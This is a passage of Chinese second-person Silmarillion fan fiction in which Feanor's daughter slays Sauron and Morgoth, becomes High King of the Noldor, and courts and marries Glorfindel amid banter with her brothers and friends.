你也只是随口一提而已,阿瑞蒂尔拉着你走到会议室外,凯勒巩一看你居然被阿瑞蒂尔带走了,他就忍不住嘟哝,“阿瑞蒂尔干嘛总是霸占弥尔洛斯啊?真讨厌。” 库茹芬瞥了这个幼稚的兄长一眼,“难道你平常就没那么做吗?” “我?我可没她那么幼稚。” 这可不一定,库茹芬在心里那么补充一句。 另外一边的阿瑞蒂尔拉着你到处闲逛,她说:“虽然我的兄长还有我的父亲都不赞同我上战场,但我想这既然是精灵讨伐魔苟斯的战争,那么我也应该尽自己的一份力,再说了,你和加拉德瑞尔都去战场了,难不成要留我一个独自留在后方吗?你们真的不是在孤立我吗?” “别这么说阿瑞蒂尔。”你笑了起来,“你能明白你的心情,而且我也支持你的决定。” 后来你又问起阿瑞蒂尔是否准备好了盔甲和宝剑,阿瑞蒂尔摊手,“宝剑倒是有的,只不过盔甲不知所踪了。”她合理怀疑就是她的哥哥图尔巩担心她一时被热血冲昏头脑也跟着上了战场,所以有意将她的盔甲给藏了起来。 “不用担心,我们这里工坊不出几天就能为你打造一套全新的盔甲,而且我可以保证这比你之前的那件盔甲还要完美。”你这不是在自夸,而是在埃欧尔的帮助下你的工坊效率提高了不少,说起这个你还得要感谢埃欧尔呢。 阿瑞蒂尔想到了什么,她肯定在来的路上听说了什么,就说:“是因为那个泰勒瑞精灵的帮忙吗?” “你怎么也听说了这里有个泰勒瑞精灵?” “你可别小瞧我的消息收集能力啊。”毕竟在你和加拉德瑞尔外出管理自己的领地后她就在时刻关注你们这边的动向,甚至还被芬巩打趣她就该在你们的领地上定居的。 对此阿瑞蒂尔的回答是:如果我真去那里定居了,你和图尔巩就又要舍不得我了。 总而言之,阿瑞蒂尔的消息很灵通,你说:“那位精灵确实很能干,就是性格不算太友好。” 没过多久阿瑞蒂尔就见识到了你所说的“性格不算太友好”的泰勒瑞精灵,事实证明你说的是正确的,这个精灵看到你的时候脸色还算平和,在面对阿瑞蒂尔的询问时他就偶尔回答两句。 你麻烦埃欧尔为阿瑞蒂尔打造一套盔甲,等从工坊离开,阿瑞蒂尔就忍不住拉着你说:“你可真厉害,居然连这种脾气的精灵都能容忍。”她刚才可是差点就要和对方争论起来了。 “因为他的能力让我暂时可以忽略他的缺点。”你说。 这几天的时间都在紧锣密鼓的准备活动中流逝,时间流逝的速度超乎你的想象,眨眼间就到了出征当天,会议结束后的其他精灵领主纷纷回到自己的领地,阿瑞蒂尔谎称自己要在后方帮忙监督补给,实际上在出征的那一天她换上埃欧尔打造的盔甲,兴奋地对你说:“这还是我第一次正儿八经地上战场。” “你在害怕吗?阿瑞蒂尔?” “稍微有一点,但更多的是激动,没错,我感觉到了兴奋。”阿瑞蒂尔带上头盔,她的长发编成一条辫子垂在脑后,你替她整理了一下脸颊两侧的碎发,这场面似乎在第一个副本的时候发生过,只不过这一次你和阿瑞蒂尔的角色发生了转变,你成了引领她走向战场的那一个精灵。 第136章 第136章“你怎么把我们的大哥…… 由于前两个副本的经验,这场讨伐魔苟斯的战争在你看来一切都在按照计划推进,唯一让你觉得意外的地方大概是身为魔苟斯军师的索伦居然会主动现身并且试图阻止你们,在你的印象里索伦一直都是在背后出谋划策的角色。 “那是……”你身侧的阿瑞蒂尔轻声呢喃,你说:“那是魔苟斯的手下,堕落的迈雅索伦。” 阿瑞蒂尔曾经听说过堕落的迈雅,只不过未曾亲眼见过,所以这还是她第一次亲眼见到索伦,你将阿瑞蒂尔护在身后,手中的宝剑泛着寒光,剑锋直指索伦的咽喉,后者不慌不忙地说:“我以为我们见面的气氛会更加友好一些的,毕竟魔苟斯大人也很欣赏你的才能。” 真的是欣赏吗?你怎么觉得魔苟斯那是恨你恨得入骨呢?你没和索伦废话,提剑刺向他的咽喉,索伦没想到你居然二话不说直接上来就是一顿猛攻。 他哪里预料到会是这种场面,有些慌乱地朝着一边逃跑,那躲避攻击的动作里透露出几分狼狈,他还说:“你大可不必发动这场战争,因为如果你和魔苟斯大人达成合作,他同样也会满足你的愿望的,你不是想要成为诺多的至高王吗?这个愿望他同样能够为你实现。” 期待魔苟斯替你实现愿望,但凡你还有点理智就知道魔苟斯这家伙不可信,你没应声,也没出声,甚至还把单柄宝剑换成双刀,对着索伦就是一顿砍,索伦毕竟是魔苟斯的军师,真要论实力,恐怕还不及勾斯魔格,他被你和阿瑞蒂尔用刀剑逼到角落里,身上满是你和阿瑞蒂尔留下的伤痕,都到这时候了他还想着说服你们,“等等——” 你没给索伦说完这句话的机会,一剑封喉,直接送他的灵魂归西。 在索伦死后半兽人大军也被精灵军队一一清剿,魔苟斯在情急之下派出的巨龙虽然吐出的龙焰席卷大地,但打头阵的精灵士兵身上都装备着矮人打造的盔甲,能够抵御龙焰的高温,勇敢的精灵士兵顶着龙焰继续向前推进,在短时间内你们就将安格班包围了。 等到这时候魔苟斯才意识到自己从乌多那里收到的消息都是事先准备好的假消息,他的兵力都集中在东南方向,而你率领的军队恰好从西南方向猛攻,不出几天就把魔苟斯的防线撕出一道口子,精灵与矮人大军鱼贯而入。 没有东来者中途反水,哪怕是魔苟斯也难以招架这攻势,不多时,精灵的先锋队伍就冲入安格班内部,你冲在最前头引领着冲锋队的步伐,你目标明确地来到魔苟斯的面前,此时的魔苟斯因为东来者的背叛还有战况对他非常不利情绪变得暴躁,他说:“费艾诺的女儿,你本不该做这些的,这样的冒险对你有什么好处呢?就算你为诺多做出再多的贡献,他们也不会认为你是一位合格的君主。” 你撇撇嘴,心说索伦那啰啰嗦嗦的习惯大概就是从他的主人魔苟斯那里学来的吧,你说:“这轮不到你来说。” 魔苟斯也不再言语,他猩红色的双眼死死地盯着你,根据你对魔苟斯的了解,你最先攻击的地方就是他的双眼,魔苟斯的身形高大,尤其是当他震怒之时,他的身躯因为怒火的燃烧又变得更加庞大可怕。 你的宝剑刺穿他的左眼,你没有马上拔出宝剑,而是停留片刻,转动剑柄搅动血肉,魔苟斯出于愤怒一把抓住你的小腿,在这时候你果断松开剑柄,又从侧腰摸出一把匕首掷向魔苟斯的右眼,因为这突如其来的攻击,魔苟斯抓住你的小腿的手也随之剧烈摇晃起来。 你顺着他的力道反而从他的掌心挣脱甚至还沿着他的胳膊一路往上小跑过去,并且成功抵达魔苟斯的肩膀,鲜血顺着魔苟斯的眼眶缓缓流下,你的宝剑还残留在他左眼的眼眶里,他愤怒地拔出那把宝剑往旁边狠狠一丢,宝剑落在地上发出清脆声响。 “你这——你这不自量力的精灵!”只听见魔苟斯怒吼一声,那声音震得你的耳朵隐隐作痛,你正要拿出双刀,可魔苟斯像是预料到了这一点,他眼疾手快地抓住你,将你的身躯死死地锁在他的掌心,并且将你举在半空中,随着他逐渐收力,你身上的盔甲表面也出现凹陷的痕迹,甚至还能听见盔甲发生扭曲的微弱动静。 你尝试着挣扎,但是没能成功,你抿抿唇,难得主动和魔苟斯搭话,“难道你就不是不自量力吗?你想要挑战伊露维塔的地位,可是又无法直接当面挑战,只能背地里搞些小动作,你不敢直面伊露维塔,因此挥刀向弱者,只能 对着伊露维塔的造物下手,你不光是不自量力,甚至还能懦弱。” 你一边说着,一边寻找逃脱的机会,魔苟斯被你这话呛得沉默不语,过了许久,等你终于找到了逃脱的机会,他才说:“你又能知道些什么呢?你就和其他的维拉一样天真无知!” 没等他的话音消散,你就抓住机会从魔苟斯的指缝间逃跑,一溜烟的功夫你就又绕到魔苟斯的身后,期间你还捡起被他丢在一边的你的宝剑,锐利的剑锋分别刺中魔苟斯小腿和脚踝,魔苟斯一个重心不稳差点就要跌倒,你赶紧闪到一边,在他倒地的一瞬间割开他的咽喉。 魔苟斯最后用不解的语气问道:“我以为你能够理解我的,毕竟你看上去也不喜欢这个世界,可是……为什么呢?” 你动作熟练地从他脑袋上取走那一顶王冠,还有什么为什么的呢,你虽然也对这个世界没什么归属感,但至少你不会像魔苟斯那样希望毁掉世界,你拿着镶嵌着精灵宝钻的王冠,并没有马上离开,你得确认魔苟斯死透了才能走,这是你经历许多场战争后得出的经验。 终于,等魔苟斯不再挣扎,你反复确认他已经死去,你这才从宫殿的大堂离开,你站在宫殿的阶梯上朝着正在混战的军队宣布魔苟斯的死讯。 身为黑暗首领的魔苟斯一死,他的手下军心涣散,而另外一边的精灵和矮人组成的大军士气高昂地杀得这些半兽人片甲不留。 现场的局势对你所在的精灵这一方非常有利,你几乎都能遇见不久后的胜利了。 隔天,这场讨伐魔苟斯的战争就以精灵和矮人以及人类的胜利告终,在当天晚上你又将那顶精灵宝钻王冠交给迈兹洛斯,这样的画面在第一个副本的时候也出现过,现在更像是历史的重演,迈兹洛斯拿着那顶王冠,他的表情复杂,他垂下眼帘,“其实我当初在跟随父亲来到中土大陆的那天晚上就在想如果我没有追随他,如果我没有离开维林诺的话会不会一切都有所不同。” 迈兹洛斯很少这样直白地向你敞开心扉,这顶精灵宝钻王冠是一个契机,当他说出第一句话时,后面的话语说起来就变得流畅许多,他又说:“后来我在想,你当时和我说的话都是正确的,我那个时候应该听从你的建议。” 你耐心地听迈兹洛斯说着,他低垂眼眸,说着说着,那声音就变得沙哑起来,过了一会他深吸一口气,“弥尔洛斯,我,我们都很感谢有你的存在。” 你原本找到迈兹洛斯就只想着把精灵宝钻交给他就行了,没想到他还和你说了那么多的话,你看到他颤抖的眼睫,好奇地问:“你又要哭了吗?” 迈兹洛斯紧抿嘴唇,他的呼吸节奏被打乱,眼睛也眨个不停,最后是你向他靠近,用手托起他的侧脸,果然,你猜对了,他真的在无声地哭泣,你用指腹擦去他脸颊上的眼泪,“现在精灵宝钻找回来了,这不是一件好事吗?你在难过什么?你在为什么而哭泣?” 他也不明白,明明一切都在朝着好的方向发展,正如你所说的,他们终于如愿以偿地找回精灵宝钻,也为父亲还有祖父报了仇,可是他的内心却无端地感受到了害怕,“好像有什么事情即将发生,而且还是我无法挽救的事情。” “既然那件事情还没有发生,那就装作不知道吧,不要为了尚未发生的事情而担忧。”你收回手,他刚才流的眼泪打湿你的指腹和掌心。 也不知道在门外偷听了多久的凯勒巩一听见房间里没什么动静了就推门而入,他还非得要装出一副自己是不经意路过的模样,他说:“我就是闲着没事过来看看而已。” 你一看他目光躲闪的样子就知道他在说谎,但你没有戳穿他的谎言,而是顺着他的意思说:“是么,那你看上去确实很闲。” 凯勒巩瞧了一眼正在安静擦眼泪的迈兹洛斯,他瞪大眼睛,凑到你耳边问道:“你怎么把我们的大哥弄哭了啊?” 那声音在场的精灵都能听见。 第137章 第137章“所以我们现在算是达…… 你合理怀疑凯勒巩就是故意这么说的,因为他在被迈兹洛斯发现以后脸上也没有半分尴尬甚至还能笑着说:“差点忘了你也在这里。” 什么叫做差点忘了,精灵的记忆可不会那么差,好在迈兹洛斯也没有和凯勒巩计较这件事,你说:“也是,如果换做是你掉眼泪大家就都不奇怪了,毕竟你平常就很容易哭。” 这下子换成凯勒巩不乐意了,虽然你说的有一部分的确是事实,但这可关系到他的尊严,因此他倔强地说:“你别乱说啊。” 调整好心情的迈兹洛斯将精灵宝钻从魔苟斯的王冠上取下来,然后放回你们的父亲费艾诺当初准备好的盒子里,他轻轻地说:“父亲要是知道我们收回了精灵宝钻,他应该也会很开心的吧。” 灵魂被困在曼督斯殿堂的费艾诺会不会高兴你不太清楚,你只知道接下来能光明正大接过至高王王冠的你肯定会很高兴,你又开始思考如果能借由这顶王冠真的与传说中的伊露维塔见面,祂又会如何回答你呢? 这个问题一直困扰着你,一直到你在一众诺多精灵的见证下从迈兹洛斯手中接过那顶至高王的王冠,你微微低下头,亲手为自己戴上这顶王冠,但想象中的伊露维塔的感召并没有出现,那一瞬间你都要怀疑到底是芬威骗了你还是伊露维塔没空搭理你。 好在你及时调整表情,这才不至于让你的脸色显得很难看,你紧抿嘴唇,好在本身在王位交接仪式的时候现场的气氛都是严肃庄重的,所以即便你面无表情看上去也没有那么奇怪,毕竟周围的其他精灵也都是这样一脸严肃。 但在交接仪式结束以后,还有很多事情等着你来处理,既然你现在是诺多的至高王了,那就意味着其他精灵领主的重大决定都要交由你来做出最终决定,玛格洛尔因为工作量大大减少而心情愉快,甚至还有一口气写了不少诗歌来赞美新一任至高王,别以为你不知道,他就是因为能够空出许多时间来写诗歌才会那么歌颂你的。 面对庞大的工作量,你不可能仅凭自己的力量完成,于是你在给玛格洛尔放了一阵子假的同时又招募了新的助手,好吧,其实你好像也没有别的选择,毕竟你有那么多的哥哥,无论是亲哥还是堂哥,以及许多姐姐,你毫无心理负担地把许多人物都派发给加拉德瑞尔和阿瑞蒂尔,后者本来还想着在大陆上到处游历的,但是没想到你一下子给她分派了那么多的任务。 但没办法,谁让 她和你的关系好呢,她只能苦哈哈地和你待在同一间办公室里批阅公文,她看着看着就开始唉声叹气,“唉,原来当至高王那么无聊吗?我都有些佩服我们的祖父了,他居然能坚持那么久,而且还不会觉得无聊?” 毕竟在精灵的观念里似乎没有年迈退休这一说,因为他们的生命实在是太漫长了,几乎都看不到尽头。 你听出阿瑞蒂尔的弦外之音,“你想要出去玩?” 阿瑞蒂尔分明想要出去玩,可她偏偏不直说,她只是单手托腮地看向你,眼睛眨巴眨巴的,“但我们不是还要工作吗?” “你可以把一部分的任务交给加拉德瑞尔,反正你之前不也是那么做的吗?” 听到你这么戳穿自己,阿瑞蒂尔为了掩饰尴尬干巴巴地笑了一下,她摊手:“我这也没有为难她呀,因为她看上去……似乎很喜欢这种工作的感觉。”虽然这么说有点奇怪,但加拉德瑞尔确实乐在其中。 你知道阿瑞蒂尔说的是实话,但准确来说加拉德瑞尔真正喜欢的大概是这种事情牢牢掌控在自己手中的感觉吧,相较之下阿瑞蒂尔就没那么喜欢被工作绊住脚的感觉了,她更向往自由的生活,你放下羽毛笔,“那你想好了要先去哪里游历吗?” “我只确定了一个大概的方向,那就是先去东方看看,毕竟我们也预料不到这个旅程接下来会如何,这也恰恰是游历最有魅力的地方。”阿瑞蒂尔说着,她的计划不会太具体,因为如果太具体反而会使得游历失去新鲜感。 你思考片刻,然后起身,“我知道了,在这之后我会找其他精灵替代你的位置的,那么预祝你旅途愉快。” 阿瑞蒂尔还没有那么快离开,她说:“你这话说得就好像我很快就会离开了一样。”但实际上她还要在这里待几天呢,她说:“而且你难道不和我们说说你和格洛芬德尔现在的情况吗?” 又来了,你就知道阿瑞蒂尔这个喜欢八卦的习惯是改不掉了的,你无奈地笑了一下,“现在的情况就是如你们所见。” 阿瑞蒂尔嘟哝一声“小气鬼”,接着又说:“看在我是你的好朋友外加姐妹的份上,你就连一丁点的内部消息都不能向我透露吗?” 你这段时间忙得要命,哪里还有空思考这些无关紧要的小事,你得承认,你确实之前和格洛芬德尔提过婚礼的事情,但那也只是你的随口一提而已,对于你来说就跟谈论当天的天气如何没有任何区别。 “不是不能透露,而是这本身就没什么好说的。” 阿瑞蒂尔忍不住叹了一口气,“唉,想要从你嘴里套出一些消息可真不容易啊,你有时候真是太小气了。” “我是否小气,在你看过我给你准备的出行礼物以后再说吧。” 她的注意力成功地被转移到了你为她准备的出行礼物上,看上去她一时半会都不会再提起这个话题了,不过虽然她不提,但不代表其他精灵不会提及,尤其是格洛芬德尔,在大战结束后他就自然而然地留在你身边,担任你的贤内助角色,一开始你因为太忙都没反应过来,等你意识到的时候他都已经无比自然地开始为你整理书桌和床铺。 甚至还会每天都很用心地更换书房桌上花瓶里的鲜花,尽管这些事情本身就不在他的职责范围内,但他还是很理所当然地当成自己的义务,并且乐在其中。 你在送走阿瑞蒂尔后就觉得自己有必要和格洛芬德尔谈一谈,于是你找到了在花房修剪花枝的格洛芬德尔,他没料到你会主动来花房找他,他略带惊讶地问道:“你怎么来了?呃,我是说,陛下您怎么突然来这里了?” 在场就只有你和他两个精灵,他还用什么敬称啊,你说:“现在只有我们就没必要使用敬称了吧?” “好吧,那么……你是来找我的吗?”格洛芬德尔问道,话音里透露出几分隐隐的期待,他可能以为自己伪装得很好吧,但你还是一眼看穿了,你说:“是的,毕竟我总不可能是来花房里闲逛的吧?” 格洛芬德尔放下修剪花枝的剪子,眼睛缓慢地眨了一下,有些忐忑不安,他轻咳一声,“但其实花房的花卉都很美,我平常有空就会来这里转转,然后……”再给你带几支花回去,让你在工作之余也能欣赏花朵。 “然后再用来装饰我的书房对吗?” 被你发现了吗?格洛芬德尔还以为自己做得天衣无缝,因为他知道你不喜欢别的精灵进入你的书房,所以他做这些都是小心翼翼无比谨慎的,现在被你这么直接地戳破了,他颇为尴尬地愣在原地,他低垂着眼帘,过了一会才说:“如果你不喜欢的话——”那我之后就不会再那么做了。 可还没等他把话说完,你就说:“我没有不喜欢,实际上我想说的是,你没必要做得那么偷偷摸摸的,我也不会为此而生你的气,难道在你心里我就是那么坏脾气的精灵吗?” 那可没有,在格洛芬德尔心里你几乎是最完美的精灵了,性格温和友善,虽然偶尔有些恶趣味,但那都是无伤大雅的,总的来说在他看来你身上几乎挑不出错来,所以他一听到你这么说就毫不犹豫地摇摇头,“不……我绝没有那么想。” 你浅浅地笑了起来,“所以我们现在算是达成一致了吗?” “嗯,达成一致了。”格洛芬德尔又想起了什么,这个问题放到现在这个时间点问或许有些奇怪,但他还是想要听你肯定的答复,他说:“那我们现在算是恋人吗?” 他问得很小心,你走到他身边,你们之间的距离被无限缩小,这看上去就像是你在试图主动拥抱他,但也仅仅是看上去,因为你只是从他身边拿过剪刀然后剪下一支花枝,你漫不经心地回答:“是啊,我们现在是恋人。” 你不会意识到自己简单的一句话会在对方心里掀起怎样的波澜,他过了很久很久才开口,“我还以为自己都等不到这一天了呢。” “精灵的寿命可是无限的,你都在说什么胡话啊?”你奇怪地反问。 “虽然寿命是无限的,可是如果你真的不爱我,就算再漫长的等待也等不到我想要的结果。” 第138章 第138章“我有恋人,你有吗?…… 你停顿了一下,格洛芬德尔说的都是真心话,你没想到自己只是简单和他谈话而已,他却说出这么郑重的话,你捻着手里的花枝,“阿瑞蒂尔外出游历去了,她空出来的位置就麻烦你暂时接替。” 见你又把话题给转到了公务上面,格洛芬德尔有些不甘心地说:“我明白了,只是我刚才说的话……你就这样忽略了吗?当然,我并不是要强求你现在马上给出回答,但至少……请给我一个回应吧。” 以前你还能用魔苟斯占领中土时局动荡来躲过这种问题,但是现在魔苟斯已经死去,而且还是被你亲手杀死的,这个理由也不再适用,你不得不面对格洛芬德尔的双眼回答他的问题,你说:“我或许不会成为一个合格的伴侣。” 这话你当初身为人类的时候也对吉尔-加拉德说过,但他并不这么认为,而此刻格洛芬德尔的反应就和那个时候的吉尔-加拉德如出一辙,他说:“我不这么觉得,你总是喜欢从一开始就预想事情最糟糕的情况,但其实事情的发展远没有你想的那么糟糕。” 格洛芬德尔早在维林诺的时候就发现了,你看待事物总能看到最消极的一面,虽然那确实也是事物的本质之一,可这样下去,只会让消极的情绪占据你的内心,他主动对你伸出手,“我可以向你证明这一点。” 他握住你的手,眼神莹润,你叹息一声,不要用这种被抛弃就会流泪的眼神看你啊,你说:“如果我拒绝的话你肯定会哭泣的吧?” “不一定,我可能还会去加拉德瑞尔那里占卜,也许是我表白的时机不对呢。” 听他这语气平常估计没少做这种事, 你的唇角微微上扬,感觉有些好笑,你说:“怪不得加拉德瑞尔前阵子还和我说呢。” 格洛芬德尔略带惊讶地“啊?”了一声,“原来她已经和你说过了吗?我明明还特意拜托她替我保密呢。” “骗你的。” “你刚才和我说的话里到底有几句是真话呢?”格洛芬德尔都没意识到自己的话语里带着几分委屈,“难道都是假话吗?” “我让你顶替阿瑞蒂尔职位的这句话肯定是真的。” 格洛芬德尔不说话了,他知道你这是出于恶趣味而故意那么说的,但他却不会因为你的戏弄而生气,甚至还乐在其中,毕竟在其他精灵面前你很少露出这一面,这至少说明他是特殊的,光是这一点就足以让他欣喜许久。 结束花房的谈话,接下来的日子格洛芬德尔都认真地处理阿瑞蒂尔留下来的工作,也不会抱怨工作量大,当天的工作往往都在当天完成,在你看来他俨然成为一个无比敬业的精灵,身为上司你自然也很喜欢这样的下属,就算是脱离了上司和下属的关系,你对他也算得上是喜欢。 时间经历了十几个四季轮转,某天格洛芬德尔的好友埃克塞理安来拜访他,埃克塞理安平日里就待在自己的领地上过着安稳日子,偶尔还能收到格洛芬德尔的信件,毫不意外的,那些信件里十封有九封都是专门夸奖你是何等的明君,又是何等的温和友善。 埃克塞理安看了还以为格洛芬德尔把对你的赞美诗不小心寄错了,埃克塞理安还专门问过格洛芬德尔是不是寄错信了,但是得到的答复是这些信的内容没错,这下子埃克塞理安就以为格洛芬德尔和你的恋情非常顺利,所以抱着来恭喜顺便看热闹的心态,埃克塞理安难得从自己的领地离开,千里迢迢赶往你们所在的精灵王国中心。 但这趟拜访之旅和埃克塞理安想象的不太一样,因为他来的第一天就没能见到格洛芬德尔,他专程询问格洛芬德尔的下属,得到的回答是领主大人正陪着至高王陛下在书房处理公务。 噢,处理公务嘛,埃克塞理安也是能够理解的,只是这处理公务的时间未免也太久了吧?埃克塞理安也不知道自己等待了多久,反正这时间肯定不短,总之,等他久违地见到格洛芬德尔已经是傍晚时分的事情了,他一见到格洛芬德尔就说:“你平常都这么忙的吗?” 接着埃克塞理安又看见了站在格洛芬德尔身后的你,他尊敬对你行礼,“陛下,傍晚好。” 你也对着他点点头,“让你久等了,格洛芬德尔接下来的时间都是空闲的,你们有一段时间没见面了,肯定有很多话要聊,那我就不打扰你们了。” 说完这话你就从他们身边离开,格洛芬德尔本来还想再说些什么的,但眼看你都已经走远了,他只能无奈地瞧了埃克塞理安一眼,“我猜你肯定有很多问题想要问我。” 他们两个在维林诺的时候就是朋友了,彼此都对对方很了解,埃克塞理安说:“是啊,我都以为你们已经秘密成婚了呢。” 埃克塞理安一上来就说这么直接的话,这可把格洛芬德尔吓了一跳,他惊讶道:“你都在说什么啊,什么结婚不结婚的。” 他们从书房门口离开,沿着长廊走到露天平台,从那里往下望还能望见花园中心的喷泉,泉水在缓缓流动,这画面静谧美好,就是身侧的埃克塞理安说的话不怎么静谧,他说:“因为你们既然是恋人,那在未来肯定会有一场婚礼的。” 说着说着,埃克塞理安又跳脱地中间夹杂一句,“所以你们现在应该是恋人没错吧?” 总不会是他会错意了吧?他现在和你还只是朋友吗?又或者是上级和下属的关系? “是恋人。”格洛芬德尔简短地回答,埃克塞理安松了一口气,他说:“那就好,那你现在的身份就是名正言顺的。” 格洛芬德尔听他说这话总觉得哪里怪怪的,他反问:“难道我以前还没有确认关系的时候就不能停留在她身边吗?” “那倒也不是。”毕竟这种东西根本不会阻拦格洛芬德尔的脚步,他就跟一条小尾巴似的跟在你身后,其他精灵都习以为常了,哦对,其他精灵,说起这个,埃克塞理安就跟找到了新的八卦一样好奇地问,“所以其他费诺里安又是什么反应呢?” “你那是什么看好戏的表情啊?我看你就是来看热闹的吧?”格洛芬德尔好笑地问,埃克塞理安很诚实地说:“是的,请原谅我,因为我实在是太好奇了。”要知道当初在维林诺的时候知道格洛芬德尔对你一见钟情的时候埃克塞理安就不怎么看好这段感情,他们甚至还去维拉那里请求对方给予一丁点的启示,但维拉表示爱情这种东西他们无法控制,无法预测也无能为力。 所以埃克塞理安都觉得自己的好友格洛芬德尔或许永远都无法得到你的爱了,但是情况又在他的不知不觉间发生了翻天覆地的转变。 综上所述,他能不好奇吗? 埃克塞理安靠着露天平台的围栏,侧过头看格洛芬德尔,“差不多吧,你和其他的费诺里安切磋过了吗?别告诉我你差点就要去见曼督斯大人了。” 格洛芬德尔打断埃克塞理安无止境的猜想,他说:“没有——你说的这些都没有发生,他们比维林诺时期友好许多。” 费诺里安友好?嗯……埃克塞理安有些担心格洛芬德尔的脑袋是不是出了什么问题,才会使得他说出这番话,他略带同情地说:“你的脑袋也遭受到了攻击吗?” 这下子格洛芬德尔也没好气地瞥了埃克塞理安一眼,像是在无声地说:你这是在说什么胡话。 “他们没有你想的那么性格恶劣。”格洛芬德尔对费诺里安也不会有其他精灵的偏见,相反地,他觉得费诺里安性格赤诚,只是偶尔脾气有些急躁而已,没错,他说的就是凯勒巩,但总的来说没有什么坏心思。 “看上去你已经完全适应了他们,希望你日后的生活也能如此顺利吧。” 别看刚才埃克塞理安还在打趣格洛芬德尔,但他还是发自内心地为自己的朋友找到幸福而感到高兴,格洛芬德尔又开始说起平常和你的点点滴滴,埃克塞理安越听越觉得不对劲,到后来他忍不住打断,然后说:“等一下,我怎么感觉你们凑在一块不是在工作就是在工作的路上啊?” 就算埃克塞理安确实没有谈过恋爱,但他也不是没见过别的精灵谈恋爱,至少他们谈恋爱可不是这个样子的啊。 格洛芬德尔说:“因为弥尔洛斯每天都要处理很多事情,我想为她分担一些。” 这话听上去也没错,埃克塞理安拍拍格洛芬德尔的肩膀,“虽然你是不是一位优秀的伴侣我不能妄下定论,但是我可以肯定你在她心目中肯定是一个合格的下属。” 格洛芬德尔瞥了他一眼,“我有恋人,你有吗?” 埃克塞理安沉默了。 不带这样的啊。 第139章 第139章没有人知道你的去向。…… 在处理完每天的公务后你都会独自在书房里待一会,摘下那顶至高王的王冠,手指摩挲王冠上的宝石和雕刻纹路,心里思索着何时才能真正与伊露维塔见一面,虽说精灵的寿命是无限的,从理论上来说你可以一直等待下去,但你的耐心是有限的,有时候你都要怀疑那所谓的造物主或许是故意为之,可是你转念一想,造物主真的会关心祂创造的东西吗? 这个问题始终困扰着你,你偶尔也会回忆自己还在现实世界的生活,说实在的,那段人生不算多愉快,但至少你认为那时的人生是在你的掌握之中的,而不是像现在这样被名为命运的绳索牵着走。 尽管你自认为自己伪装得很好,但格洛芬德尔还是会捕捉到你在不经意间流露出来的烦躁,他曾试探性地问到底发生了什么,你凝望着他的面庞,又没头没尾地问:“如果你能见到 伊露维塔的话,那你会和祂说些什么呢?” 这话题跳跃得太快了,但格洛芬德尔还是接住你的话题,他说:“我大概会感谢祂创造了我,并且又让我遇到了你吧。” 很中规中矩的回答,估计除了格洛芬德尔,大部分其他的精灵也会那么回答的吧,你低垂眼帘,格洛芬德尔的声音又在你耳边响起,“那你呢?你又会说些什么呢?” “大概是和你差不多的话吧。” 你说的这话很明显就是在敷衍他,但格洛芬德尔没有追问,他想,或许未来的某一天你会把真正的答案告诉他的,他所需要做的就是静静等待这一天的到来。 埃克塞理安来拜访的那段日子你特意给格洛芬德尔放了假,至于因为他放假多出来的工作,你毫无心理负担地都丢给了玛格洛尔,后者本来还在好好地当他的吟游诗人,结果被你一道命令又给拉回来上班,得亏玛格洛尔平常情绪就很稳定,不像其他费诺里安,所以他在上班的时候顶多就是叹息几声然后开始怀念自己的吟游诗人生活。 “不要再唉声叹气了,这只是持续一小段时间而已。”你说。 玛格洛尔换了个话题,“你日后与他举办婚礼了,你也还是让他照常工作吗?” 这两者之间有什么冲突的吗?你说:“这是当然了,总不可能他在成为我的伴侣以后就无所事事了吧?”据你所知辛葛王的王后美丽安每天处理的事情一点也不算少。 说起辛葛王,因为讨伐魔苟斯的战争大获全胜,这使得原本关系紧张的诺多和泰勒瑞精灵之间的走动也逐渐多了起来,甚至一度可以用友好相处来形容,而曾经带兵帮助过你的埃欧尔也结交了一些诺多精灵,上次埃欧尔听说你与格洛芬德尔确立了关系,他当天夜里赶来你的宫殿,虽然嘴上说着是来送一些礼物的,但那话里话外,明里暗里地都在试探你。 他怀疑你和格洛芬德尔确立关系是为了解决一些小麻烦,比如说其他精灵的追求,而在他旁敲侧击之下,得到的回答并不是他所想的那样,尤其是当他听到你与格洛芬德尔确实两情相悦的时候他的脸色变得极为难看,过了好一会他硬生生地挤出一句看似祝福的话语,“那就祝愿你们都能得偿所愿。”这祝福的话语怎么听都像是某种诅咒。 埃欧尔后来又找了几个借口常常来到你的宫殿,除了第一次你正式接见了他,在那以后接见的工作你就直接丢给了凯勒巩和库茹芬,他们这对兄弟的关系好,更重要的一点是他们说话都嘴不留情,而埃欧尔这样一个骄傲的精灵碰了几次壁后就不再拜访你的宫殿,你也落得个清静。 时间就在这样日复一日的生活中流逝,后来你也与格洛芬德尔举行了婚礼,在婚礼现场你还见到了刚刚成婚没多久的加拉德瑞尔,跟在她身边的是神色温和的凯勒博恩,加拉德瑞尔说:“我还以为我们能一同举行婚礼的呢。” 一同举行婚礼那就代表你的婚礼现场还会有很多泰勒瑞精灵到场,甚至埃欧尔也会来,毕竟凯勒博恩和埃欧尔之间存在着沾亲带故的关系,你光是想象一下那副画面就觉得头疼,所以你是故意错开了时间,就是为了避免这种情况出现。 诺多精灵的婚礼步骤极为繁琐,尽管你在婚礼筹备阶段已经省去了很多不必要的步骤,但剩下的步骤加起来也还真不少,你想起自己在第一个副本的时候和吉尔-加拉德的婚礼,也是同样的繁琐,但那个时候的你还以为伴随着自己的死亡这场游戏就能结束了,所以对待婚礼也还算有耐心。 婚礼大部分工作都由你的那几位哥哥来负责,他们也乐在其中,尤其是凯勒巩,他负责你的礼服,毫不夸张地说,他对婚礼的用心程度其他精灵一看都会以为他才是要结婚的那一个,库茹芬都表示自己婚礼的时候凯勒巩可没有那么上心,凯勒巩撇撇嘴,“我不也给你设计礼服了吗?” 你留下他们两个拌嘴,反正最后凯勒巩给你带来的成品确实不错,就连对婚礼礼服没什么期待的你都感到了惊艳,相较于你的礼服,凯勒巩给格洛芬德尔设计礼服的时候态度就平淡多了,他说:“反正你才是主角,至于你的伴侣,嗯……只要不是看上去上不得台面就行,毕竟总不能让他抢了你的风头吧?” 婚礼当天你确实是目光的焦点,现场独一无二的主角,你耐着性子进行一个又一个的婚礼步骤,到最后还要参加宴会,你才在宴会上露了个脸就悄无声息地离开了宴会厅,等格洛芬德尔找过来的时候你正靠在躺椅里小憩,听见格洛芬德尔的脚步声,你缓缓睁开眼睛去看他,“你怎么也偷溜出来了?” “还不是因为你带了个好头。”格洛芬德尔半开玩笑地说。 